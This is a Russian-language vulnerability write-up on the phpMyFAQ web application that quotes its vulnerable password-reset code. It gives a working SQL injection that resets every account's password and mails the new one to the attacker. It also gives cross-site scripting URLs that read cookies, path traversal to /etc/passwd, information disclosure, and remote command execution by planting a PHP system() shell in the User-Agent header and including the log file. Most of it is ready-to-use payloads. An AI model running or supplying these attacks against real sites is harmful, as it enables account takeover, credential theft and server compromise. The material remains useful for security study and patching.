Если magic quotes выключен, то можно выполнить SQL-инъекцию. Смотрим уязвимый
код в /admin/password.php:
…
$username = $_POST["username"];
$email = $_POST["email"];
$num = $db->num_rows($db->query(«SELECT name, email FROM .SQLPREFIX.faquser
WHERE name =
'».$username."' AND email = '".$email."'"));
if ($num == 1) {
$consonants =
array(«b»,"c","d","f","g","h","j","k","l","m","n","p","r","s","t","v","w","x","y","z");
$vowels = array(«a»,"e","i","o","u");
$newPassword = "";
srand((double)microtime()*1000000);
for ($i = 1; $i <= 4; $i++) {
$newPassword .= $consonants[rand(0,19)];
$newPassword .= $vowels[rand(0,4)];
}
$db->query(«UPDATE .SQLPREFIX.faquser SET pass = '».md5($newPassword)."' WHERE
name =
'".$username."' AND email = '".$email."'");
$text = $PMF_LANG["lostpwd_text_1"]."nUsername: «.$username.»nNew Password:
«.$newPassword.»nn".$PMF_LANG["lostpwd_text_2"];
mail($IDN->encode($email), $PMF_CONF["title"].": username / password request",
$text, «From: .$IDN->encode($PMF_CONF[adminmail»]));
…
Переходим в директорию /admin, кликаем на «forgotten password». Не имея аккаунта
в системе, можно выслать на любой e-mail пароль:
user: ' or isnull(1/0) /*
mail: [your_email]
Приходящие запросы:
SELECT name, email FROM phpmyfaq_faquser WHERE name = '' or isnull(1/0) /*' AND
email = '[your_email]'
и
UPDATE phpmyfaq_faquser SET pass = '[password_hash]' WHERE name = '' or
isnull(1/0) /*' AND email = '[your_email]'
Теперь все аккаунты получили новые пароль, не только администратор. В письме
будет следующее:
«Thank you for requesting your account information.
Username: ' or isnull(1/0) /*
New Password: [password]
Please set a new personal password in the admin section of your FAQ.»
После можно входить в систему управления.
1) CSS:
http://[target]/[path]/phpmyfaq/admin/footer.php?PMF_CONF[version]=<script>alert(document.cookie)</script>
http://[target]/[path]/phpmyfaq/admin/header.php?PMF_LANG[metaLanguage]="><script>alert(document.cookie)</script>
2) Просмотр произвольных файлов (для Windows):
Если magic_quotes_gpc выключен в in php.ini, можно просмтаривать файлы:
http://[target]/[path]/phpmyfaq/index.php?LANGCODE=/../../../../../../etc/passwd%00
3) Раскрытие информации о пользователях:
http://[target]/[path]/phpmyfaq/data/tracking[date]
где [date] сегоднешняя дата, например: 22092005
4) Раскрытие установочных путей:
http://[target]/[path]/phpmyfaq/index.php?LANGCODE=[a_non_existent_file]
5) Выполнение команд:
В поле User Agent можно вставить php-код:
<?php system($HTTP_GET_VARS[cmd]) ?>
и, если magic_quotes выключен, можно включать log-файл для выполения команд (для
Windows)
http://[target]/[path]/phpmyfaq/index.php?cmd=ls%20-la&LANGCODE=/../../data/tracking[date]%00